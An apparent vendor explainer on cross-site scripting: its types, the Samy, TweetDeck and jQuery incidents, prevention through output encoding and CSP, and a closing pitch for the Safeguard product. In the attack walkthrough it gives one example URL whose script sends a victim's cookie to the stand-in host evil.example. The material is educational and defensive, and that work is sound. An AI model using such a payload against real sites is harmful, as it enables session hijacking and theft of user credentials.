Cross-site scripting (XSS) is a web application vulnerability that lets an attacker inject malicious JavaScript into pages viewed by other users, turning a trusted website into a delivery mechanism for the attacker's code. It has held a spot on the OWASP Top 10 for over a decade and is tracked as CWE-79, which ranked #2 on MITRE's 2023 CWE Top 25 Most Dangerous Software Weaknesses, behind only out-of-bounds writes. XSS isn't theoretical: the Samy worm infected over 1 million MySpace profiles in under 20 hours in October 2005, and a self-propagating XSS worm hit Twitter's TweetDeck client in September 2014, forcing Twitter to disable the product for roughly two hours mid-incident. Because so much of the modern web runs on shared JavaScript libraries, XSS is now as much a software supply chain problem as it is a coding-mistake problem — a single vulnerable dependency can expose thousands of downstream applications at once.
What is cross-site scripting (XSS)?
Cross-site scripting is a vulnerability that allows an attacker to inject client-side scripts into web pages viewed by other users, exploiting a failure to properly validate, encode, or sanitize untrusted input before it's rendered in a browser. Because the injected script runs in the victim's browser under the target site's origin, it inherits that site's trust — meaning it can read session cookies, make authenticated requests, capture keystrokes, or rewrite page content, all without the victim noticing anything unusual. XSS is formally classified as CWE-79 ("Improper Neutralization of Input During Web Page Generation") and is grouped under the "Injection" category (A03) in the OWASP Top 10 2021, having previously held its own dedicated slot as A7 in the 2017 edition. It differs from server-side injection flaws like SQL injection in one key way: the payload executes in the browser, not on the server, which is why traditional server-side input filtering alone often fails to stop it.
What are the three types of XSS?
The three recognized types of XSS are stored, reflected, and DOM-based, and they differ in where the malicious payload lives and how it reaches the victim. Stored XSS occurs when an attacker's script is saved persistently on the target server — in a comment field, user profile, or support ticket, for example — and then served to every user who views that content; the 2014 eBay incident, where attackers embedded malicious JavaScript in product listings to redirect buyers to phishing pages, is a well-documented case. Reflected XSS happens when a payload is embedded in a request (typically a URL parameter) and immediately echoed back in the server's response without sanitization, requiring an attacker to trick a victim into clicking a crafted link. DOM-based XSS is the newest and now most common variant in modern JavaScript-heavy applications: the vulnerable code exists entirely in client-side JavaScript that writes untrusted data into the DOM using sinks like innerHTML, document.write(), or a framework's "raw HTML" escape hatch (dangerouslySetInnerHTML in React, v-html in Vue), meaning the payload never has to touch the server at all.
How does an XSS attack actually work?
An XSS attack works by getting an attacker-controlled string treated as executable code instead of as data, at the point where an application renders content into HTML, JavaScript, or a DOM attribute. A typical reflected attack starts when a victim clicks a link like https://example.com/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>; if the search page reflects the q parameter directly into the page without HTML-encoding it, the browser parses that string as a real <script> tag and executes it, sending the victim's session cookie to the attacker's server. From there, the attacker can hijack the session, perform actions as the victim, or pivot into further attacks like credential harvesting via injected fake login forms. The core failure is always the same: untrusted input crosses a "context boundary" — HTML body, HTML attribute, JavaScript string, URL — without being encoded for that specific context, which is why a single generic sanitizer often isn't sufficient.
What real-world incidents have XSS caused?
XSS has caused incidents ranging from self-propagating worms to library-level vulnerabilities affecting a large share of the internet. The Samy worm (October 4, 2005) exploited a stored XSS flaw in MySpace's profile pages to auto-add "Samy is my hero" and silently re-infect every profile a victim viewed, spreading to more than 1 million profiles in under 20 hours before MySpace took the site offline to contain it; creator Samy Kamkar was later sentenced to three years' probation. On September 11, 2014, a stored XSS bug in Twitter's TweetDeck allowed a crafted tweet containing HTML/JavaScript to auto-retweet itself whenever it was viewed in the client, and Twitter had to disable TweetDeck for roughly two hours to ship a fix. More recently, CVE-2020-11022 and CVE-2020-11023 disclosed XSS flaws in jQuery's .html(), .append(), and related DOM-manipulation methods when passed untrusted HTML containing <option> elements — significant because jQuery was, at the time, embedded in a majority of the world's websites, making these library-level bugs a supply chain risk rather than a one-off coding mistake.
How do you detect and prevent XSS vulnerabilities?
You prevent XSS by treating output encoding as mandatory at every point where untrusted data crosses into HTML, JavaScript, or a URL, combined with a restrictive Content-Security-Policy (CSP) as a second layer of defense. Context-aware output encoding — HTML-entity encoding for HTML body content, JavaScript-string escaping for inline script contexts, and URL-encoding for query parameters — closes the door that lets injected strings become executable markup; modern frameworks like React and Vue auto-escape by default, but only for the standard rendering path, not for explicit HTML-injection APIs like dangerouslySetInnerHTML or v-html. A strict CSP header (for example, script-src 'self' with no unsafe-inline) stops injected inline scripts from executing even if a sanitization gap exists, and setting cookies with HttpOnly and Secure flags prevents a successful XSS payload from exfiltrating session tokens via document.cookie. Detection requires both static analysis to catch unsanitized sinks in first-party code and dependency scanning to catch known-vulnerable versions of libraries like jQuery, since the vulnerable code path is frequently in a third-party package rather than code your team wrote. The mechanics of how to fix a cross site scripting vulnerability in Java are the same server-side principle applied through Java-specific tooling: rely on a templating engine that auto-escapes by default (Thymeleaf, JSP with JSTL's <c:out>), and reach for the OWASP Java Encoder library for the contexts — inline script blocks, HTML attributes — where auto-escaping doesn't apply.
How Safeguard Helps
Safeguard helps security teams cut through XSS alert noise by combining SBOM generation and ingest with reachability analysis, so you know immediately whether a vulnerable version of a library like jQuery is present in name only or actually reachable from a code path attackers can trigger. Griffin AI, Safeguard's AI triage engine, correlates that reachability signal with exploit context to prioritize the XSS findings that matter — such as a .html() call fed by unsanitized user input — over theoretical matches buried in dead code. When a fix is available, Safeguard can generate an auto-fix PR that bumps the affected dependency to a patched version or applies output-encoding remediation directly in the flagged code path, letting engineering teams close the gap without a manual triage cycle. The result is fewer false positives, faster remediation on the XSS findings that are actually exploitable, and a continuously updated inventory of every JavaScript dependency that could reintroduce the vulnerability later.